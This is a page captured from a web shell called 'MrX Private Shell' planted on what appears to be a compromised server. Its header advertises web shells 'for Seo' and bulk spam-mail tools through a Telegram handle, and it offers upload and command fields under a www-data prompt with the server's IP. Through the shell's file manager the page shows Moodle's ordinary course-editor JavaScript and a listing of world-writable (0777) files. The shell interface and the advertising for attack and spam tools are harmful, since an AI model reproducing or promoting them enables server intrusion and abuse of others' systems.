__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

import ajax from 'core/ajax';
import {getString} from "core/str";
import log from 'core/log';
import SRLogger from "core/local/reactive/srlogger";

/**
 * Flag to determine whether the screen reader-only logger has already been set, so we only need to set it once.
 *
 * @type {boolean}
 */
let isLoggerSet = false;

/**
 * Default mutation manager
 *
 * @module     core_courseformat/local/courseeditor/mutations
 * @class     core_courseformat/local/courseeditor/mutations
 * @copyright  2021 Ferran Recio <ferran@moodle.com>
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
export default class {

    // All course editor mutations for Moodle 4.0 will be located in this file.

    /**
     * Private method to call core_courseformat_update_course webservice.
     *
     * @method _callEditWebservice
     * @param {string} action
     * @param {number} courseId
     * @param {array} ids
     * @param {number} targetSectionId optional target section id (for moving actions)
     * @param {number} targetCmId optional target cm id (for moving actions)
     */
    async _callEditWebservice(action, courseId, ids, targetSectionId, targetCmId) {
        const args = {
            action,
            courseid: courseId,
            ids,
        };
        if (targetSectionId) {
            args.targetsectionid = targetSectionId;
        }
        if (targetCmId) {
            args.targetcmid = targetCmId;
        }
        let ajaxresult = await ajax.call([{
            methodname: 'core_courseformat_update_course',
            args,
        }])[0];
        return JSON.parse(ajaxresult);
    }

    /**
     * Private method to call core_courseformat_create_module webservice.
     *
     * @method _callEditWebservice
     * @param {number} courseId
     * @param {string} modName module name
     * @param {number} targetSectionNum target section number
     * @param {number} targetCmId optional target cm id
     */
        async _callAddModuleWebservice(courseId, modName, targetSectionNum, targetCmId) {
            const args = {
                courseid: courseId,
                modname: modName,
                targetsectionnum: targetSectionNum,
            };
            if (targetCmId) {
                args.targetcmid = targetCmId;
            }
            let ajaxresult = await ajax.call([{
                methodname: 'core_courseformat_create_module',
                args,
            }])[0];
            return JSON.parse(ajaxresult);
        }

    /**
     * Execute a basic section state action.
     * @param {StateManager} stateManager the current state manager
     * @param {string} action the action name
     * @param {array} sectionIds the section ids
     * @param {number} targetSectionId optional target section id (for moving actions)
     * @param {number} targetCmId optional target cm id (for moving actions)
     */
    async _sectionBasicAction(stateManager, action, sectionIds, targetSectionId, targetCmId) {
        const logEntry = this._getLoggerEntry(stateManager, action, sectionIds, {
            targetSectionId,
            targetCmId,
            itemType: 'section',
        });
        const course = stateManager.get('course');
        this.sectionLock(stateManager, sectionIds, true);
        const updates = await this._callEditWebservice(
            action,
            course.id,
            sectionIds,
            targetSectionId,
            targetCmId
        );
        this.bulkReset(stateManager);
        stateManager.processUpdates(updates);
        this.sectionLock(stateManager, sectionIds, false);
        stateManager.addLoggerEntry(await logEntry);
    }

    /**
     * Execute a basic course module state action.
     * @param {StateManager} stateManager the current state manager
     * @param {string} action the action name
     * @param {array} cmIds the cm ids
     * @param {number} targetSectionId optional target section id (for moving actions)
     * @param {number} targetCmId optional target cm id (for moving actions)
     */
    async _cmBasicAction(stateManager, action, cmIds, targetSectionId, targetCmId) {
        const logEntry = this._getLoggerEntry(stateManager, action, cmIds, {
            targetSectionId,
            targetCmId,
            itemType: 'cm',
        });
        const course = stateManager.get('course');
        this.cmLock(stateManager, cmIds, true);
        const updates = await this._callEditWebservice(
            action,
            course.id,
            cmIds,
            targetSectionId,
            targetCmId
        );
        this.bulkReset(stateManager);
        stateManager.processUpdates(updates);
        this.cmLock(stateManager, cmIds, false);
        stateManager.addLoggerEntry(await logEntry);
    }

    /**
     * Get log entry for the current action.
     * @param {StateManager} stateManager the current state manager
     * @param {string} action the action name
     * @param {int[]|null} itemIds the element ids
     * @param {Object|undefined} data extra params for the log entry
     * @param {string|undefined} data.itemType the element type (will be taken from action if none)
     * @param {int|null|undefined} data.targetSectionId the target section id
     * @param {int|null|undefined} data.targetCmId the target cm id
     * @param {String|null|undefined} data.component optional component (for format plugins)
     * @return {Object} the log entry
     */
    async _getLoggerEntry(stateManager, action, itemIds, data = {}) {
        if (!isLoggerSet) {
            // In case the logger has not been set from init(), ensure we set the logger.
            stateManager.setLogger(new SRLogger());
            isLoggerSet = true;
        }
        const feedbackParams = {
            action,
            itemType: data.itemType ?? action.split('_')[0],
        };
        let batch = '';
        if (itemIds.length > 1) {
            feedbackParams.count = itemIds.length;
            batch = '_batch';
        } else if (itemIds.length === 1) {
            const itemInfo = stateManager.get(feedbackParams.itemType, itemIds[0]);
            feedbackParams.name = itemInfo.title ?? itemInfo.name;
            // Apply shortener for modules like label.
        }
        if (data.targetSectionId) {
            feedbackParams.targetSectionName = stateManager.get('section', data.targetSectionId).title;
        }
        if (data.targetCmId) {
            feedbackParams.targetCmName = stateManager.get('cm', data.targetCmId).name;
        }

        const message = await getString(
            `${action.toLowerCase()}_feedback${batch}`,
            data.component ?? 'core_courseformat',
            feedbackParams
        );

        return {
            feedbackMessage: message,
        };
    }

    /**
     * Mutation module initialize.
     *
     * The reactive instance will execute this method when addMutations or setMutation is invoked.
     *
     * @param {StateManager} stateManager the state manager
     */
    init(stateManager) {
        // Add a method to prepare the fields when some update is coming from the server.
        stateManager.addUpdateTypes({
            prepareFields: this._prepareFields,
        });
        // Use the screen reader-only logger (SRLogger) to handle the feedback messages from the mutations.
        stateManager.setLogger(new SRLogger());
        isLoggerSet = true;
    }

    /**
     * Add default values to state elements.
     *
     * This method is called every time a webservice returns a update state message.
     *
     * @param {Object} stateManager the state manager
     * @param {String} updateName the state element to update
     * @param {Object} fields the new data
     * @returns {Object} final fields data
     */
    _prepareFields(stateManager, updateName, fields) {
        // Any update should unlock the element.
        fields.locked = false;
        return fields;
    }

    /**
     * Hides sections.
     * @param {StateManager} stateManager the current state manager
     * @param {array} sectionIds the list of section ids
     */
    async sectionHide(stateManager, sectionIds) {
        await this._sectionBasicAction(stateManager, 'section_hide', sectionIds);
    }

    /**
     * Show sections.
     * @param {StateManager} stateManager the current state manager
     * @param {array} sectionIds the list of section ids
     */
    async sectionShow(stateManager, sectionIds) {
        await this._sectionBasicAction(stateManager, 'section_show', sectionIds);
    }

    /**
     * Show cms.
     * @param {StateManager} stateManager the current state manager
     * @param {array} cmIds the list of cm ids
     */
    async cmShow(stateManager, cmIds) {
        await this._cmBasicAction(stateManager, 'cm_show', cmIds);
    }

    /**
     * Hide cms.
     * @param {StateManager} stateManager the current state manager
     * @param {array} cmIds the list of cm ids
     */
    async cmHide(stateManager, cmIds) {
        await this._cmBasicAction(stateManager, 'cm_hide', cmIds);
    }

    /**
     * Stealth cms.
     * @param {StateManager} stateManager the current state manager
     * @param {array} cmIds the list of cm ids
     */
    async cmStealth(stateManager, cmIds) {
        await this._cmBasicAction(stateManager, 'cm_stealth', cmIds);
    }

    /**
     * Duplicate course modules
     * @param {StateManager} stateManager the current state manager
     * @param {array} cmIds the list of course modules ids
     * @param {number|undefined} targetSectionId the optional target sectionId
     * @param {number|undefined} targetCmId the target course module id
     */
    async cmDuplicate(stateManager, cmIds, targetSectionId, targetCmId) {
        const logEntry = this._getLoggerEntry(stateManager, 'cm_duplicate', cmIds);
        const course = stateManager.get('course');
        // Lock all target sections.
        const sectionIds = new Set();
        if (targetSectionId) {
            sectionIds.add(targetSectionId);
        } else {
            cmIds.forEach((cmId) => {
                const cm = stateManager.get('cm', cmId);
                sectionIds.add(cm.sectionid);
            });
        }
        this.sectionLock(stateManager, Array.from(sectionIds), true);

        const updates = await this._callEditWebservice('cm_duplicate', course.id, cmIds, targetSectionId, targetCmId);
        this.bulkReset(stateManager);
        stateManager.processUpdates(updates);

        this.sectionLock(stateManager, Array.from(sectionIds), false);
        stateManager.addLoggerEntry(await logEntry);
    }

    /**
     * Move course modules to specific course location.
     *
     * Note that one of targetSectionId or targetCmId should be provided in order to identify the
     * new location:
     *  - targetCmId: the activities will be located avobe the target cm. The targetSectionId
     *                value will be ignored in this case.
     *  - targetSectionId: the activities will be appended to the section. In this case
     *                     targetSectionId should not be present.
     *
     * @param {StateManager} stateManager the current state manager
     * @param {array} cmids the list of cm ids to move
     * @param {number} targetSectionId the target section id
     * @param {number} targetCmId the target course module id
     */
    async cmMove(stateManager, cmids, targetSectionId, targetCmId) {
        if (!targetSectionId && !targetCmId) {
            throw new Error(`Mutation cmMove requires targetSectionId or targetCmId`);
        }
        const course = stateManager.get('course');
        this.cmLock(stateManager, cmids, true);
        const updates = await this._callEditWebservice('cm_move', course.id, cmids, targetSectionId, targetCmId);
        this.bulkReset(stateManager);
        stateManager.processUpdates(updates);
        this.cmLock(stateManager, cmids, false);
    }

    /**
     * Move course modules to specific course location.
     *
     * @deprecated since Moodle 4.4 MDL-77038.
     * @todo MDL-80116 This will be deleted in Moodle 4.8.
     * @param {StateManager} stateManager the current state manager
     * @param {array} sectionIds the list of section ids to move
     * @param {number} targetSectionId the target section id
     */
    async sectionMove(stateManager, sectionIds, targetSectionId) {
        log.debug('sectionMove() is deprecated. Use sectionMoveAfter() instead');
        if (!targetSectionId) {
            throw new Error(`Mutation sectionMove requires targetSectionId`);
        }
        const course = stateManager.get('course');
        this.sectionLock(stateManager, sectionIds, true);
        const updates = await this._callEditWebservice('section_move', course.id, sectionIds, targetSectionId);
        this.bulkReset(stateManager);
        stateManager.processUpdates(updates);
        this.sectionLock(stateManager, sectionIds, false);
    }

    /**
     * Move course modules after a specific course location.
     *
     * @param {StateManager} stateManager the current state manager
     * @param {array} sectionIds the list of section ids to move
     * @param {number} targetSectionId the target section id
     */
    async sectionMoveAfter(stateManager, sectionIds, targetSectionId) {
        if (!targetSectionId) {
            throw new Error(`Mutation sectionMoveAfter requires targetSectionId`);
        }
        const course = stateManager.get('course');
        this.sectionLock(stateManager, sectionIds, true);
        const updates = await this._callEditWebservice('section_move_after', course.id, sectionIds, targetSectionId);
        this.bulkReset(stateManager);
        stateManager.processUpdates(updates);
        this.sectionLock(stateManager, sectionIds, false);
    }

    /**
     * Add a new section to a specific course location.
     *
     * @param {StateManager} stateManager the current state manager
     * @param {number} targetSectionId optional the target section id
     */
    async addSection(stateManager, targetSectionId) {
        if (!targetSectionId) {
            targetSectionId = 0;
        }
        const course = stateManager.get('course');
        const updates = await this._callEditWebservice('section_add', course.id, [], targetSectionId);
        stateManager.processUpdates(updates);
    }

    /**
     * Delete sections.
     *
     * @param {StateManager} stateManager the current state manager
     * @param {array} sectionIds the list of course modules ids
     */
    async sectionDelete(stateManager, sectionIds) {
        const course = stateManager.get('course');
        const updates = await this._callEditWebservice('section_delete', course.id, sectionIds);
        this.bulkReset(stateManager);
        stateManager.processUpdates(updates);
    }

    /**
     * Delete cms.
     * @param {StateManager} stateManager the current state manager
     * @param {array} cmIds the list of section ids
     */
    async cmDelete(stateManager, cmIds) {
        const course = stateManager.get('course');
        this.cmLock(stateManager, cmIds, true);
        const updates = await this._callEditWebservice('cm_delete', course.id, cmIds);
        this.bulkReset(stateManager);
        this.cmLock(stateManager, cmIds, false);
        stateManager.processUpdates(updates);
    }

    /**
     * Add a new module to a specific course section.
     *
     * @param {StateManager} stateManager the current state manager
     * @param {string} modName the modulename to add
     * @param {number} targetSectionNum the target section number
     * @param {number} targetCmId optional the target cm id
     */
    async addModule(stateManager, modName, targetSectionNum, targetCmId) {
        if (!modName) {
            throw new Error(`Mutation addModule requires moduleName`);
        }
        if (!targetSectionNum) {
            throw new Error(`Mutation addModule requires targetSectionNum`);
        }
        if (!targetCmId) {
            targetCmId = 0;
        }
        const course = stateManager.get('course');
        const updates = await this._callAddModuleWebservice(course.id, modName, targetSectionNum, targetCmId);
        stateManager.processUpdates(updates);
    }

    /**
     * Mark or unmark course modules as dragging.
     *
     * @param {StateManager} stateManager the current state manager
     * @param {array} cmIds the list of course modules ids
     * @param {bool} dragValue the new dragging value
     */
    cmDrag(stateManager, cmIds, dragValue) {
        this.setPageItem(stateManager);
        this._setElementsValue(stateManager, 'cm', cmIds, 'dragging', dragValue);
    }

    /**
     * Mark or unmark course sections as dragging.
     *
     * @param {StateManager} stateManager the current state manager
     * @param {array} sectionIds the list of section ids
     * @param {bool} dragValue the new dragging value
     */
    sectionDrag(stateManager, sectionIds, dragValue) {
        this.setPageItem(stateManager);
        this._setElementsValue(stateManager, 'section', sectionIds, 'dragging', dragValue);
    }

    /**
     * Mark or unmark course modules as complete.
     *
     * @param {StateManager} stateManager the current state manager
     * @param {array} cmIds the list of course modules ids
     * @param {bool} complete the new completion value
     */
    cmCompletion(stateManager, cmIds, complete) {
        const newState = (complete) ? 1 : 0;
        stateManager.setReadOnly(false);
        cmIds.forEach((id) => {
            const element = stateManager.get('cm', id);
            if (element) {
                element.isoverallcomplete = complete;
                element.completionstate = newState;
            }
        });
        stateManager.setReadOnly(true);
    }

    /**
     * Move cms to the right: indent = 1.
     * @param {StateManager} stateManager the current state manager
     * @param {array} cmIds the list of cm ids
     */
    async cmMoveRight(stateManager, cmIds) {
        await this._cmBasicAction(stateManager, 'cm_moveright', cmIds);
    }

    /**
     * Move cms to the left: indent = 0.
     * @param {StateManager} stateManager the current state manager
     * @param {array} cmIds the list of cm ids
     */
    async cmMoveLeft(stateManager, cmIds) {
        await this._cmBasicAction(stateManager, 'cm_moveleft', cmIds);
    }

    /**
     * Set cms group mode to NOGROUPS.
     * @param {StateManager} stateManager the current state manager
     * @param {array} cmIds the list of cm ids
     */
    async cmNoGroups(stateManager, cmIds) {
        await this._cmBasicAction(stateManager, 'cm_nogroups', cmIds);
    }

    /**
     * Set cms group mode to VISIBLEGROUPS.
     * @param {StateManager} stateManager the current state manager
     * @param {array} cmIds the list of cm ids
     */
    async cmVisibleGroups(stateManager, cmIds) {
        await this._cmBasicAction(stateManager, 'cm_visiblegroups', cmIds);
    }

    /**
     * Set cms group mode to SEPARATEGROUPS.
     * @param {StateManager} stateManager the current state manager
     * @param {array} cmIds the list of cm ids
     */
    async cmSeparateGroups(stateManager, cmIds) {
        await this._cmBasicAction(stateManager, 'cm_separategroups', cmIds);
    }

    /**
     * Lock or unlock course modules.
     *
     * @param {StateManager} stateManager the current state manager
     * @param {array} cmIds the list of course modules ids
     * @param {bool} lockValue the new locked value
     */
    cmLock(stateManager, cmIds, lockValue) {
        this._setElementsValue(stateManager, 'cm', cmIds, 'locked', lockValue);
    }

    /**
     * Lock or unlock course sections.
     *
     * @param {StateManager} stateManager the current state manager
     * @param {array} sectionIds the list of section ids
     * @param {bool} lockValue the new locked value
     */
    sectionLock(stateManager, sectionIds, lockValue) {
        this._setElementsValue(stateManager, 'section', sectionIds, 'locked', lockValue);
    }

    _setElementsValue(stateManager, name, ids, fieldName, newValue) {
        stateManager.setReadOnly(false);
        ids.forEach((id) => {
            const element = stateManager.get(name, id);
            if (element) {
                element[fieldName] = newValue;
            }
        });
        stateManager.setReadOnly(true);
    }

    /**
     * Set the page current item.
     *
     * Only one element of the course state can be the page item at a time.
     *
     * There are several actions that can alter the page current item. For example, when the user is in an activity
     * page, the page item is always the activity one. However, in a course page, when the user scrolls to an element,
     * this element get the page item.
     *
     * If the page item is static means that it is not meant to change. This is important because
     * static page items has some special logic. For example, if a cm is the static page item
     * and it is inside a collapsed section, the course index will expand the section to make it visible.
     *
     * @param {StateManager} stateManager the current state manager
     * @param {String|undefined} type the element type (section or cm). Undefined will remove the current page item.
     * @param {Number|undefined} id the element id
     * @param {boolean|undefined} isStatic if the page item is static
     */
    setPageItem(stateManager, type, id, isStatic) {
        let newPageItem;
        if (type !== undefined) {
            newPageItem = stateManager.get(type, id);
            if (!newPageItem) {
                return;
            }
        }
        stateManager.setReadOnly(false);
        // Remove the current page item.
        const course = stateManager.get('course');
        course.pageItem = null;
        // Save the new page item.
        if (newPageItem) {
            course.pageItem = {
                id,
                type,
                sectionId: (type == 'section') ? newPageItem.id : newPageItem.sectionid,
                isStatic,
            };
        }
        stateManager.setReadOnly(true);
    }

    /**
     * Unlock all course elements.
     *
     * @param {StateManager} stateManager the current state manager
     */
    unlockAll(stateManager) {
        const state = stateManager.state;
        stateManager.setReadOnly(false);
        state.section.forEach((section) => {
            section.locked = false;
        });
        state.cm.forEach((cm) => {
            cm.locked = false;
        });
        stateManager.setReadOnly(true);
    }

    /**
     * Update the course index collapsed attribute of some sections.
     *
     * @param {StateManager} stateManager the current state manager
     * @param {array} sectionIds the affected section ids
     * @param {boolean} collapsed the new collapsed value
     */
    async sectionIndexCollapsed(stateManager, sectionIds, collapsed) {
        const affectedSections = this._updateStateSectionPreference(stateManager, 'indexcollapsed', sectionIds, collapsed);
        if (!affectedSections) {
            return;
        }
        const course = stateManager.get('course');
        let actionName = 'section_index_collapsed';
        if (!collapsed) {
            actionName = 'section_index_expanded';
        }
        await this._callEditWebservice(actionName, course.id, affectedSections);
    }

    /**
     * Update the course index collapsed attribute of all sections.
     *
     * @param {StateManager} stateManager the current state manager
     * @param {boolean} collapsed the new collapsed value
     */
    async allSectionsIndexCollapsed(stateManager, collapsed) {
        const sectionIds = stateManager.getIds('section');
        this.sectionIndexCollapsed(stateManager, sectionIds, collapsed);
    }

    /**
     * Update the course content collapsed attribute of some sections.
     *
     * @param {StateManager} stateManager the current state manager
     * @param {array} sectionIds the affected section ids
     * @param {boolean} collapsed the new collapsed value
     */
    async sectionContentCollapsed(stateManager, sectionIds, collapsed) {
        const affectedSections = this._updateStateSectionPreference(stateManager, 'contentcollapsed', sectionIds, collapsed);
        if (!affectedSections) {
            return;
        }
        const course = stateManager.get('course');
        let actionName = 'section_content_collapsed';
        if (!collapsed) {
            actionName = 'section_content_expanded';
        }
        await this._callEditWebservice(actionName, course.id, affectedSections);
    }

    /**
     * Private batch update for a section preference attribute.
     *
     * @param {StateManager} stateManager the current state manager
     * @param {string} preferenceName the preference name
     * @param {array} sectionIds the affected section ids
     * @param {boolean} preferenceValue the new preferenceValue value
     * @return {Number[]|null} sections ids with the preference value true or null if no update is required
     */
    _updateStateSectionPreference(stateManager, preferenceName, sectionIds, preferenceValue) {
        stateManager.setReadOnly(false);
        const affectedSections = [];
        // Check if we need to update preferences.
        sectionIds.forEach(sectionId => {
            const section = stateManager.get('section', sectionId);
            if (section === undefined) {
                stateManager.setReadOnly(true);
                return null;
            }
            const newValue = preferenceValue ?? section[preferenceName];
            if (section[preferenceName] != newValue) {
                section[preferenceName] = newValue;
                affectedSections.push(section.id);
            }
        });
        stateManager.setReadOnly(true);
        return affectedSections;
    }

    /**
     * Enable/disable bulk editing.
     *
     * Note: reenabling the bulk will clean the current selection.
     *
     * @param {StateManager} stateManager the current state manager
     * @param {Boolean} enabled the new bulk state.
     */
    bulkEnable(stateManager, enabled) {
        const state = stateManager.state;
        stateManager.setReadOnly(false);
        state.bulk.enabled = enabled;
        state.bulk.selectedType = '';
        state.bulk.selection = [];
        stateManager.setReadOnly(true);
    }

    /**
     * Reset the current selection.
     * @param {StateManager} stateManager the current state manager
     */
    bulkReset(stateManager) {
        const state = stateManager.state;
        stateManager.setReadOnly(false);
        state.bulk.selectedType = '';
        state.bulk.selection = [];
        stateManager.setReadOnly(true);
    }

    /**
     * Select a list of cms.
     * @param {StateManager} stateManager the current state manager
     * @param {array} cmIds the list of cm ids
     */
    cmSelect(stateManager, cmIds) {
        this._addIdsToSelection(stateManager, 'cm', cmIds);
    }

    /**
     * Unselect a list of cms.
     * @param {StateManager} stateManager the current state manager
     * @param {array} cmIds the list of cm ids
     */
    cmUnselect(stateManager, cmIds) {
        this._removeIdsFromSelection(stateManager, 'cm', cmIds);
    }

    /**
     * Select a list of sections.
     * @param {StateManager} stateManager the current state manager
     * @param {array} sectionIds the list of cm ids
     */
    sectionSelect(stateManager, sectionIds) {
        this._addIdsToSelection(stateManager, 'section', sectionIds);
    }

    /**
     * Unselect a list of sections.
     * @param {StateManager} stateManager the current state manager
     * @param {array} sectionIds the list of cm ids
     */
    sectionUnselect(stateManager, sectionIds) {
        this._removeIdsFromSelection(stateManager, 'section', sectionIds);
    }

    /**
     * Add some ids to the current bulk selection.
     * @param {StateManager} stateManager the current state manager
     * @param {String} typeName the type name (section/cm)
     * @param {array} ids the list of ids
     */
    _addIdsToSelection(stateManager, typeName, ids) {
        const bulk = stateManager.state.bulk;
        if (!bulk?.enabled) {
            throw new Error(`Bulk is not enabled`);
        }
        if (bulk?.selectedType !== "" && bulk?.selectedType !== typeName) {
            throw new Error(`Cannot add ${typeName} to the current selection`);
        }

        // Stored ids are strings for compatability with HTML data attributes.
        ids = ids.map(value => value.toString());

        stateManager.setReadOnly(false);
        bulk.selectedType = typeName;
        const newSelection = new Set([...bulk.selection, ...ids]);
        bulk.selection = [...newSelection];
        stateManager.setReadOnly(true);
    }

    /**
     * Remove some ids to the current bulk selection.
     *
     * The method resets the selection type if the current selection is empty.
     *
     * @param {StateManager} stateManager the current state manager
     * @param {String} typeName the type name (section/cm)
     * @param {array} ids the list of ids
     */
    _removeIdsFromSelection(stateManager, typeName, ids) {
        const bulk = stateManager.state.bulk;
        if (!bulk?.enabled) {
            throw new Error(`Bulk is not enabled`);
        }
        if (bulk?.selectedType !== "" && bulk?.selectedType !== typeName) {
            throw new Error(`Cannot remove ${typeName} from the current selection`);
        }

        // Stored ids are strings for compatability with HTML data attributes.
        ids = ids.map(value => value.toString());

        stateManager.setReadOnly(false);
        const IdsToFilter = new Set(ids);
        bulk.selection = bulk.selection.filter(current => !IdsToFilter.has(current));
        if (bulk.selection.length === 0) {
            bulk.selectedType = '';
        }
        stateManager.setReadOnly(true);
    }

    /**
     * Get updated state data related to some cm ids.
     *
     * @method cmState
     * @param {StateManager} stateManager the current state
     * @param {array} cmids the list of cm ids to update
     */
    async cmState(stateManager, cmids) {
        this.cmLock(stateManager, cmids, true);
        const course = stateManager.get('course');
        const updates = await this._callEditWebservice('cm_state', course.id, cmids);
        stateManager.processUpdates(updates);
        this.cmLock(stateManager, cmids, false);
    }

    /**
     * Get updated state data related to some section ids.
     *
     * @method sectionState
     * @param {StateManager} stateManager the current state
     * @param {array} sectionIds the list of section ids to update
     */
    async sectionState(stateManager, sectionIds) {
        this.sectionLock(stateManager, sectionIds, true);
        const course = stateManager.get('course');
        const updates = await this._callEditWebservice('section_state', course.id, sectionIds);
        stateManager.processUpdates(updates);
        this.sectionLock(stateManager, sectionIds, false);
    }

    /**
     * Get the full updated state data of the course.
     *
     * @param {StateManager} stateManager the current state
     */
    async courseState(stateManager) {
        const course = stateManager.get('course');
        const updates = await this._callEditWebservice('course_state', course.id);
        stateManager.processUpdates(updates);
    }

}

Filemanager

Name Type Size Permission Actions
contenttree.js File 6.4 KB 0777
courseeditor.js File 12.92 KB 0777
dndcmitem.js File 4.46 KB 0777
dndsection.js File 6.63 KB 0777
dndsectionitem.js File 4.82 KB 0777
exporter.js File 10.05 KB 0777
fileuploader.js File 17.95 KB 0777
mutations.js File 31.53 KB 0777
Filemanager